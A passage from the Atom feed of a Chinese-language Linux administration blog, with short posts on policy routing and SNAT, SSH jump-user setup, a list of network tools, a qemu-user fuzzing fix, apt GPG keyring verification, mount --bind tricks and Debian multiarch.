echo &amp;quot;net.ipv4.conf.default.rp_filter = 0&amp;quot; &amp;gt;&amp;gt; &amp;#x2F;etc&amp;#x2F;sysctl.d&amp;#x2F;90-override.conf
echo &amp;quot;net.ipv4.conf.*.rp_filter = 0&amp;quot; &amp;gt;&amp;gt; &amp;#x2F;etc&amp;#x2F;sysctl.d&amp;#x2F;90-override.conf

# 使设置生效
sysctl --system
sysctl -p

sysctl -w net.ipv4.ip_forward=1
# iptables -t nat -A POSTROUTING -o &amp;lt;external_interface&amp;gt; -j MASQUERADE
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h1 id=&quot;snat&quot;&gt;SNAT&lt;&#x2F;h1&gt;
&lt;ul&gt;
&lt;li&gt;MASQUERADE 是 SNAT 的一个特例，主要区别在于目标源IP地址的获取方式。&lt;&#x2F;li&gt;
&lt;li&gt;SNAT 需要明确指定一个固定的IP地址或地址范围，而 MASQUERADE 则会自动从网卡上获取当前的IP地址。&lt;&#x2F;li&gt;
&lt;li&gt;因此，MASQUERADE 特别适用于IP地址是动态分配（如PPPoE拨号或DHCP）的场景，因为它不需要每次IP地址变化后都手动修改规则。&lt;&#x2F;li&gt;
&lt;li&gt;MASQUERADE 的效率稍低于 SNAT，因为它每次都需要查找可用的IP地址，而 SNAT 使用的IP地址是预先配置好的。&lt;&#x2F;li&gt;
&lt;li&gt;但在大多数情况下，这种性能差异非常微小，不会造成明显影响。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h1 id=&quot;zhu-ji-pei-zhi&quot;&gt;主机配置&lt;&#x2F;h1&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;# lookup 是 table 的同义关键字（alias），源自早期 iproute2 的设计兼容性
# lookup 是历史遗留别名，虽可用，但新脚本建议统一用 table 避免歧义

# 使用main进行路由，且非main中默认路由的流量, 即直连网段的主机
sudo ip rule add priority 5000 from all table main suppress_prefixlength 0  
# main路由表未匹配的流量(main中原来需要走默认路由的流量), 即非直连网段的主机
sudo ip rule add priority 5001 from all table 5001
# 配置所有非直连网段的默认路由
sudo ip route add default via 192.168.66.1 dev enp3s0 proto static table 5001
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>ssh配置</title>
        <published>2025-11-26T11:16:39+08:00</published>
        <updated>2025-11-26T11:16:39+08:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/2025/11/ssh配置/"/>
        <id>https://vercel.juzhong.asia/2025/11/ssh配置/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/2025/11/ssh配置/">&lt;h1 id=&quot;pei-zhi-yi-ge-jumperyong-hu&quot;&gt;配置一个jumper用户&lt;&#x2F;h1&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;sudo useradd -m peter.jumper
sudo passwd peter.jumper
# 禁止用户登录
# 使用usermod命令
sudo usermod -s &amp;#x2F;sbin&amp;#x2F;nologin username
# 或使用chsh命令
sudo chsh -s &amp;#x2F;sbin&amp;#x2F;nologin username
# 直接编辑&amp;#x2F;etc&amp;#x2F;passwd文件
sudo vipw
# 找到对应用户行，将shell改为&amp;#x2F;sbin&amp;#x2F;nologin
# 锁定用户（会在密码前加!使其失效）
sudo usermod -L username
sudo passwd -l username
# 解锁用户
sudo usermod -U username
sudo passwd -u username
# 立即使用户账户过期
sudo usermod -e 1 username
# 设置特定过期日期
sudo usermod -e 2024-12-31 username
# 查看账户过期信息
sudo chage -l username

# 公钥登录
sudo -u peter.jumper mkdir -p &amp;#x2F;home&amp;#x2F;peter.jumper&amp;#x2F;.ssh
sudo -u peter.jumper chmod 700 &amp;#x2F;home&amp;#x2F;peter.jumper&amp;#x2F;.ssh
echo &amp;quot;粘贴您的公钥内容到这里&amp;quot; | sudo -u peter.jumper tee -a &amp;#x2F;home&amp;#x2F;peter.jumper&amp;#x2F;.ssh&amp;#x2F;authorized_keys
sudo -u peter.jumper chmod 600 &amp;#x2F;home&amp;#x2F;peter.jumper&amp;#x2F;.ssh&amp;#x2F;authorized_keys
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;sshd-config&quot;&gt;sshd_config&lt;&#x2F;h2&gt;
&lt;pre data-lang=&quot;ini&quot; class=&quot;language-ini &quot;&gt;&lt;code class=&quot;language-ini&quot; data-lang=&quot;ini&quot;&gt;AllowUsers peter.jumper peter@192.168.1.*
AllowUsers peter@localhost peter@127.0.0.*
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h1 id=&quot;ssh-audit&quot;&gt;ssh-audit&lt;&#x2F;h1&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;pip3 install ssh-audit
ssh-audit server.com

sudo sshd -T
ssh -Q &amp;lt;Tab&amp;gt;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>常用网络工具</title>
        <published>2025-11-25T18:52:43+08:00</published>
        <updated>2025-11-25T18:52:43+08:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/2025/11/常用网络工具/"/>
        <id>https://vercel.juzhong.asia/2025/11/常用网络工具/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/2025/11/常用网络工具/">&lt;h1 id=&quot;chang-yong-wang-luo-gong-ju&quot;&gt;常用网络工具&lt;&#x2F;h1&gt;
&lt;ul&gt;
&lt;li&gt;ping&lt;&#x2F;li&gt;
&lt;li&gt;curl&lt;&#x2F;li&gt;
&lt;li&gt;httpie&lt;&#x2F;li&gt;
&lt;li&gt;wget&lt;&#x2F;li&gt;
&lt;li&gt;tc&lt;&#x2F;li&gt;
&lt;li&gt;dig&#x2F;nslookup&lt;&#x2F;li&gt;
&lt;li&gt;whois&lt;&#x2F;li&gt;
&lt;li&gt;ssh&#x2F;scp&#x2F;rsync&lt;&#x2F;li&gt;
&lt;li&gt;ngrep 抓包grep命令的网络版&lt;&#x2F;li&gt;
&lt;li&gt;tcpdump&#x2F;wireshark&#x2F;tshark&lt;&#x2F;li&gt;
&lt;li&gt;tcpflow 捕获和重组TCP连接中的数据流&lt;&#x2F;li&gt;
&lt;li&gt;ifconfig&#x2F;route&lt;&#x2F;li&gt;
&lt;li&gt;ip&#x2F;arp&lt;&#x2F;li&gt;
&lt;li&gt;mitmproxy 中间人代理工具拦截修改观察流量&lt;&#x2F;li&gt;
&lt;li&gt;nmap 网络探测和安全审核工具&lt;&#x2F;li&gt;
&lt;li&gt;zenmap 图形界面管理和执行网络扫描任务&lt;&#x2F;li&gt;
&lt;li&gt;p0f 被动操作系统指纹识别网络流量分析工具&lt;&#x2F;li&gt;
&lt;li&gt;openvpn&#x2F;wiregaurd&lt;&#x2F;li&gt;
&lt;li&gt;nc&#x2F;socat&#x2F;telnet 数据传输和处理&lt;&#x2F;li&gt;
&lt;li&gt;ftp&#x2F;sftp&lt;&#x2F;li&gt;
&lt;li&gt;nestat&#x2F;ss&#x2F;lsof&lt;&#x2F;li&gt;
&lt;li&gt;iptables&#x2F;nftables&lt;&#x2F;li&gt;
&lt;li&gt;hping3 生成解析TCP&#x2F;IP协议 数据包 也是安全审计、防火墙测试工具&lt;&#x2F;li&gt;
&lt;li&gt;traceroute&#x2F;mtr&lt;&#x2F;li&gt;
&lt;li&gt;tcptraceroute 使用tcp协议进行路径跟踪&lt;&#x2F;li&gt;
&lt;li&gt;ethtool 查看和修改网络设备的驱动参数和硬件设置&lt;&#x2F;li&gt;
&lt;li&gt;iw&#x2F;iwconfig 配置和管理无线网络接口&lt;&#x2F;li&gt;
&lt;li&gt;sysctl 运行时配置内核参数&lt;&#x2F;li&gt;
&lt;li&gt;openssl&lt;&#x2F;li&gt;
&lt;li&gt;stunnel 开源跨平台进行通信加密&lt;&#x2F;li&gt;
&lt;li&gt;iptraf&#x2F;nethogs&#x2F;iftop&#x2F;ntop 网络流量监控&lt;&#x2F;li&gt;
&lt;li&gt;ab&#x2F;nload&#x2F;iperf3 网络性能测试和监控&lt;&#x2F;li&gt;
&lt;li&gt;python3 -m http.server&lt;&#x2F;li&gt;
&lt;li&gt;ipcalc 简单的ip地址计算&lt;&#x2F;li&gt;
&lt;li&gt;nsenter 进入指定进程命令空间下运行执行程序&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>qemu-user 启动失败排查</title>
        <published>2025-11-25T14:24:49+08:00</published>
        <updated>2025-11-25T14:24:49+08:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/2025/11/qemu-user 启动失败排查/"/>
        <id>https://vercel.juzhong.asia/2025/11/qemu-user 启动失败排查/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/2025/11/qemu-user 启动失败排查/">&lt;h1 id=&quot;fuzzmo-hu-ce-shi-shi-yong-afl-qemu-trace-shi-bai&quot;&gt;fuzz模糊测试使用afl qemu trace 失败&lt;&#x2F;h1&gt;
&lt;p&gt;怀疑是环境变量导致额的， 最后定位到环境变量&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;...
&amp;quot;-E&amp;quot; &amp;quot;TMUX=&amp;#x2F;tmp&amp;#x2F;tmux-1000&amp;#x2F;default,18190,1&amp;quot; 
...
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;实验发现，是环境变量中的值存在‘，’ 就会启动失败&lt;&#x2F;p&gt;
&lt;p&gt;去掉&#x27;,&#x27;， 是可以正常启动的&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;...
&amp;quot;-E&amp;quot; &amp;quot;TMUX=&amp;#x2F;tmp&amp;#x2F;tmux-1000&amp;#x2F;default&amp;quot; 
...

# 或者
unset TMUX
unset no_proxy
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>apt 中的keyrings(gpg)</title>
        <published>2025-11-25T10:59:41+08:00</published>
        <updated>2025-11-25T10:59:41+08:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/2025/11/apt 中的keyrings(gpg)/"/>
        <id>https://vercel.juzhong.asia/2025/11/apt 中的keyrings(gpg)/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/2025/11/apt 中的keyrings(gpg)/">&lt;h1 id=&quot;apt-gpg-zuo-yong&quot;&gt;apt gpg 作用&lt;&#x2F;h1&gt;
&lt;p&gt;在 APT 的工作流程中，GPG 签名验证（signed-by= 指定的公钥）是在 “获取 Release 文件并校验其完整性与真实性” 阶段起作用的，具体发生在 apt update 的早期阶段，早于包列表下载和安装决策。&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;解析 sources.list ，识别源 URL 和组件 ( bookworm , stable)&lt;&#x2F;li&gt;
&lt;li&gt;下载 InRelease 或 Release + Release.gpg 文件： → https:&#x2F;&#x2F;download.docker.com&#x2F;linux&#x2F;debian&#x2F;dists&#x2F;bookworm&#x2F;InRelease
或 → ...&#x2F;Release + ...&#x2F;Release.gpg 关键阶段&lt;&#x2F;li&gt;
&lt;li&gt;用 &#x2F;etc&#x2F;apt&#x2F;keyrings&#x2F;docker.asc 中的公钥验证 InRelease&#x2F;Release.gpg 签名 ️ GPG 认证生效点&lt;&#x2F;li&gt;
&lt;li&gt;若验证失败 → 立即报错退出 （如 NO_PUBKEY , GPG error , signature invalid ）&lt;&#x2F;li&gt;
&lt;li&gt;若验证成功 → 解析 Release 文件中的 SHA256 &#x2F; SHA512 校验和 （哈希校验，非 GPG）&lt;&#x2F;li&gt;
&lt;li&gt;下载 Packages.gz 等索引文件，并用 Release 中的哈希值校验完整性&lt;&#x2F;li&gt;
&lt;li&gt;建立本地包数据库（ &#x2F;var&#x2F;lib&#x2F;apt&#x2F;lists&#x2F;...  ）&lt;&#x2F;li&gt;
&lt;li&gt;apt install 时仅校验 .deb 包哈希（来自 Packages ）， 不再 GPG 验证&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;# 1. 故意破坏签名验证（删掉 keyring）
sudo rm &amp;#x2F;etc&amp;#x2F;apt&amp;#x2F;keyrings&amp;#x2F;docker.asc
sudo apt update 2&amp;gt;&amp;amp;1 | grep -A2 -B2 &amp;quot;GPG\|NO_PUBKEY&amp;quot;
# → 报错：The following signatures couldn&amp;#x27;t be verified...
# 2. 或临时禁用验证（危险！仅测试）
sudo apt -o Acquire::Check-Valid-Until=false \
         -o Acquire::AllowInsecureRepositories=true \
         -o Acquire::AllowDowngradeToInsecureRepositories=true \
         update

# → 仍可能失败，因为 signed-by 指定了强制 key，除非改 sources.list 去掉 signed-by
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h1 id=&quot;shi-yong-jing-xiang-yuan-mirror-de-apt-fu-wu-huan-neng-zheng-chang-gpg-ren-zheng-ma&quot;&gt;使用镜像源（mirror）的 APT 服务，还能正常 GPG 认证吗？&lt;&#x2F;h1&gt;
&lt;ul&gt;
&lt;li&gt;可以，只要镜像同步了完整的 dists&#x2F; 目录（含 InRelease &#x2F; Release + Release.gpg）——绝大多数合规镜像都做到了。&lt;&#x2F;li&gt;
&lt;li&gt;APT 的 GPG 校验不依赖源服务器域名&#x2F;IP，只校验：
文件内容是否被篡改（哈希匹配）
Release 文件是否由可信私钥签名（GPG 签名校验）&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h2 id=&quot;yan-zheng-shi-cao-tui-jian&quot;&gt;验证实操（推荐）&lt;&#x2F;h2&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;# 1. 下载 InRelease（中科大镜像）
wget https:&amp;#x2F;&amp;#x2F;mirrors.ustc.edu.cn&amp;#x2F;docker-ce&amp;#x2F;linux&amp;#x2F;debian&amp;#x2F;dists&amp;#x2F;bookworm&amp;#x2F;InRelease

# 2. 用你本地的 docker.asc 公钥验证
gpg --keyring &amp;#x2F;etc&amp;#x2F;apt&amp;#x2F;keyrings&amp;#x2F;docker.asc \
    --verify InRelease
# 应输出：Good signature from &amp;quot;Docker Release (CE deb) ...&amp;quot;

# 3. 对比原始源（应完全一致）
diff InRelease \
  &amp;lt;(curl -s https:&amp;#x2F;&amp;#x2F;download.docker.com&amp;#x2F;linux&amp;#x2F;debian&amp;#x2F;dists&amp;#x2F;bookworm&amp;#x2F;InRelease)
# → 无输出（完全相同）
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;bao-cuo-pai-cha&quot;&gt;报错排查&lt;&#x2F;h2&gt;
&lt;pre data-lang=&quot;text&quot; class=&quot;language-text &quot;&gt;&lt;code class=&quot;language-text&quot; data-lang=&quot;text&quot;&gt;gpg: [don&amp;#x27;t know]: invalid packet (ctb=2d)
gpg: keydb_search failed: 无效的数据包
gpg: 无法检查签名：缺少公钥
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;ul&gt;
&lt;li&gt;诊断依据
你从 https:&#x2F;&#x2F;download.docker.com&#x2F;linux&#x2F;debian&#x2F;gpg 下载的 gpg 文件（3.7KB）是 ASCII-armored 公钥&lt;&#x2F;li&gt;
&lt;li&gt;但 --keyring &#x2F;path&#x2F;to&#x2F;file 默认期望的是 二进制格式的 keyring（或 GnuPG native keybox）&lt;&#x2F;li&gt;
&lt;li&gt;当你直接把 ASCII-armored .asc 传给 --keyring，GPG 会把它当二进制解析 → 遇到 -----BEGIN 这种文本头 → 解析为“无效数据包”（ctb=2d 是 0x2d = &#x27;-&#x27; 字符）→ 失败 ❌&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h3 id=&quot;xian-dearmor-cheng-er-jin-zhi-zai-yan-zheng-tui-jian&quot;&gt;先 dearmor 成二进制，再验证（推荐）&lt;&#x2F;h3&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;# 1. 确保 docker.asc 是 ASCII-armored（检查开头）
head -n2 &amp;#x2F;etc&amp;#x2F;apt&amp;#x2F;keyrings&amp;#x2F;docker.asc
# 应输出：-----BEGIN PGP PUBLIC KEY BLOCK-----
# 2. 转成二进制格式（例如 docker.gpg）
sudo gpg --dearmor -o &amp;#x2F;etc&amp;#x2F;apt&amp;#x2F;keyrings&amp;#x2F;docker.gpg &amp;#x2F;etc&amp;#x2F;apt&amp;#x2F;keyrings&amp;#x2F;docker.asc
# 3. 用 .gpg（二进制）验证
gpg --keyring &amp;#x2F;etc&amp;#x2F;apt&amp;#x2F;keyrings&amp;#x2F;docker.gpg \
    --verify .&amp;#x2F;InRelease
# ✅ 此时应显示：Good signature from &amp;quot;Docker Release (CE deb)...&amp;quot;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;bu-zhi-ding-keyring-er-shi-xian-dao-ru-gong-yao-dao-lin-shi-keyring&quot;&gt;不指定 --keyring，而是先导入公钥到临时 keyring&lt;&#x2F;h3&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;# 创建临时 home
mkdir -p &amp;#x2F;tmp&amp;#x2F;gpghome &amp;amp;&amp;amp; chmod 700 &amp;#x2F;tmp&amp;#x2F;gpghome
# 导入公钥（自动 dearmor）
gpg --homedir &amp;#x2F;tmp&amp;#x2F;gpghome --import &amp;#x2F;etc&amp;#x2F;apt&amp;#x2F;keyrings&amp;#x2F;docker.asc
# 用临时 keyring 验证
gpg --homedir &amp;#x2F;tmp&amp;#x2F;gpghome --verify .&amp;#x2F;InRelease
# 清理
rm -rf &amp;#x2F;tmp&amp;#x2F;gpghome
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;wei-shen-me-apt-ben-shen-neng-gong-zuo&quot;&gt;为什么 apt 本身能工作？&lt;&#x2F;h2&gt;
&lt;p&gt;因为 APT 内部 自动处理 dearmor！ 当你在 sources.list 写：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;text&quot; class=&quot;language-text &quot;&gt;&lt;code class=&quot;language-text&quot; data-lang=&quot;text&quot;&gt;deb [signed-by=&amp;#x2F;etc&amp;#x2F;apt&amp;#x2F;keyrings&amp;#x2F;docker.asc] ...
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;APT 会： 检测 .asc 后缀或文件内容含 -----BEGIN → 自动 dearmor 后加载&lt;&#x2F;p&gt;
&lt;p&gt;不依赖 gpg CLI 行为 → 所以 apt update 正常，但你手动用 gpg --keyring 却失败。&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;# 查看二进制 keyring 内容
gpg --keyring &amp;#x2F;etc&amp;#x2F;apt&amp;#x2F;keyrings&amp;#x2F;docker.gpg --list-packets &amp;lt;&amp;#x2F;dev&amp;#x2F;null
# 应显示 pub, sub 等 key packets，无 &amp;quot;invalid packet&amp;quot;

# 或直接看指纹（对比官网）
gpg --keyring &amp;#x2F;etc&amp;#x2F;apt&amp;#x2F;keyrings&amp;#x2F;docker.gpg --with-fingerprint --list-keys
# 应含：7EA0 A9C3 F273 FCD8 （即你日志中的 RSA 密钥 ID）
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;zong-jie&quot;&gt;总结：&lt;&#x2F;h2&gt;
&lt;ul&gt;
&lt;li&gt;.asc 是文本格式，不能直接作 --keyring；必须 --dearmor 转 .gpg 二进制。&lt;&#x2F;li&gt;
&lt;li&gt;APT 能自动处理，但 gpg CLI 不会 —— 这是常见坑点&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>如何查看被mount --bind目录的内容</title>
        <published>2025-11-25T10:28:51+08:00</published>
        <updated>2025-11-26T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/2025/11/如何查看被mount --bind目录的内容/"/>
        <id>https://vercel.juzhong.asia/2025/11/如何查看被mount --bind目录的内容/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/2025/11/如何查看被mount --bind目录的内容/">&lt;h1 id=&quot;mount-bind&quot;&gt;mount --bind&lt;&#x2F;h1&gt;
&lt;p&gt;当你用：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;mount -o bind &amp;#x2F;new-disk &amp;#x2F;var&amp;#x2F;lib
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;绑定挂载后的 &#x2F;var&#x2F;lib 就被 新的分区内容覆盖&lt;&#x2F;p&gt;
&lt;p&gt;原来真实的 &#x2F;var&#x2F;lib 内容仍然在磁盘上，但无法通过 &#x2F;var&#x2F;lib 直接访问&lt;&#x2F;p&gt;
&lt;p&gt;想在 不 umount 的情况下 查看原来目录的内容，有几种经典做法：&lt;&#x2F;p&gt;
&lt;h2 id=&quot;zai-ba-yuan-shi-mu-lu-gua-zai-dao-qi-ta-lu-jing-zui-chang-yong&quot;&gt;再把原始目录挂载到其他路径（最常用）&lt;&#x2F;h2&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;mkdir &amp;#x2F;mnt&amp;#x2F;origin_root
mount --bind &amp;#x2F; &amp;#x2F;mnt&amp;#x2F;origin_root    # 临时挂载根不推荐；下面是推荐方式
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;zhi-jie-tong-guo-proc-pid-root-fang-wen-zui-chang-jian-zui-gan-jing-geng-tui-jian&quot;&gt;直接通过 &#x2F;proc&#x2F;[pid]&#x2F;root 访问（最常见最干净） 更推荐：&lt;&#x2F;h2&gt;
&lt;p&gt;找到任意仍在主根下运行的进程，如 systemd ：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;ls -l &amp;#x2F;proc&amp;#x2F;1&amp;#x2F;root&amp;#x2F;var&amp;#x2F;lib
# 但最好再 bind 一层：
mkdir &amp;#x2F;mnt&amp;#x2F;original
mount --bind &amp;#x2F;proc&amp;#x2F;1&amp;#x2F;root&amp;#x2F;var&amp;#x2F;lib &amp;#x2F;mnt&amp;#x2F;original
ls &amp;#x2F;mnt&amp;#x2F;original
# 你就可以浏览原来 &amp;#x2F;var&amp;#x2F;lib 中的内容了。
# 不需要 umount，不需要停止业务，不影响现有 &amp;#x2F;var&amp;#x2F;lib。
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;zhi-jie-tong-guo-proc-pid-root-fang-wen&quot;&gt;直接通过 &#x2F;proc&#x2F;[pid]&#x2F;root 访问&lt;&#x2F;h2&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;# 任意 pid 都行，例如：
ls &amp;#x2F;proc&amp;#x2F;1&amp;#x2F;root&amp;#x2F;var&amp;#x2F;lib
# 就是没被覆盖的 &amp;#x2F;var&amp;#x2F;lib。
# 但这种方式只是临时查看，比 bind 挂载不方便操作。
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;ti-qian-chuang-jian-tao-sheng-ru-kou-jing-yan-ji-qiao&quot;&gt;提前创建 “逃生入口”（经验技巧）&lt;&#x2F;h2&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;# 以后遇到类似场景：
mkdir &amp;#x2F;var&amp;#x2F;lib.real
mount --bind &amp;#x2F;var&amp;#x2F;lib &amp;#x2F;var&amp;#x2F;lib.real
mount --bind &amp;#x2F;newdisk &amp;#x2F;var&amp;#x2F;lib
# 这样以后变成：
# &amp;#x2F;var&amp;#x2F;lib → 新分区
# &amp;#x2F;var&amp;#x2F;lib.real → 原目录仍可访问
# 但必须在第一次 bind 前做。
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;zui-tui-jian-ban-fa-zong-jie&quot;&gt;最推荐办法总结&lt;&#x2F;h2&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;mkdir &amp;#x2F;mnt&amp;#x2F;original
mount --bind &amp;#x2F;proc&amp;#x2F;1&amp;#x2F;root&amp;#x2F;var&amp;#x2F;lib &amp;#x2F;mnt&amp;#x2F;original
ls &amp;#x2F;mnt&amp;#x2F;original
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>linux 多架构支持</title>
        <published>2025-11-24T22:39:41+08:00</published>
        <updated>2025-11-24T22:39:41+08:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/2025/11/linux 多架构支持/"/>
        <id>https://vercel.juzhong.asia/2025/11/linux 多架构支持/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/2025/11/linux 多架构支持/">&lt;h1 id=&quot;debian-duo-jia-gou-multiarch-yu-kua-jia-gou-mo-ni-qemu-binfmt-misc&quot;&gt;Debian 多架构（Multiarch） 与 跨架构模拟（QEMU + binfmt_misc）&lt;&#x2F;h1&gt;
&lt;ul&gt;
&lt;li&gt;dpkg --add-architecture + apt install -d 不依赖 QEMU&#x2F;binfmt&lt;&#x2F;li&gt;
&lt;li&gt;但若想 运行 vim:arm64，就必须用 QEMU&#x2F;binfmt&lt;&#x2F;li&gt;
&lt;li&gt;Multiarch 解决“如何下载&#x2F;解压 arm64 包”&lt;&#x2F;li&gt;
&lt;li&gt;QEMU&#x2F;binfmt 解决“如何执行 arm64 二进制”&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;dpkg --print-architecture
dpkg --print-foreign-architectures

# 即使没装 qemu-user-static，也能下载
sudo apt purge qemu-user-static 2&amp;gt;&amp;#x2F;dev&amp;#x2F;null
sudo apt clean
sudo dpkg --add-architecture arm64
sudo apt update
sudo apt-get install -d vim:arm64  # ✅ 成功！
dpkg -x &amp;#x2F;var&amp;#x2F;cache&amp;#x2F;apt&amp;#x2F;archives&amp;#x2F;vim_*.deb .&amp;#x2F;vim-arm64
# 尝试运行
.&amp;#x2F;vim-arm64&amp;#x2F;usr&amp;#x2F;bin&amp;#x2F;vim --version
# ❌ 报错：bash: .&amp;#x2F;vim-arm64&amp;#x2F;usr&amp;#x2F;bin&amp;#x2F;vim: cannot execute binary file: Exec format error
sudo apt install qemu-user-static
.&amp;#x2F;vim-arm64&amp;#x2F;usr&amp;#x2F;bin&amp;#x2F;vim --version
# ✅ 成功
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;目标&lt;&#x2F;th&gt;&lt;th&gt;所需技术&lt;&#x2F;th&gt;&lt;th&gt;命令示例&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;下载 arm64 .deb&lt;&#x2F;td&gt;&lt;td&gt;Multiarch&lt;&#x2F;td&gt;&lt;td&gt;dpkg --add-architecture arm64 &amp;amp;&amp;amp; apt install -d vim:arm64&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;解压 arm64 文件&lt;&#x2F;td&gt;&lt;td&gt;Multiarch&lt;&#x2F;td&gt;&lt;td&gt;dpkg -x vim_arm64.deb .&#x2F;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
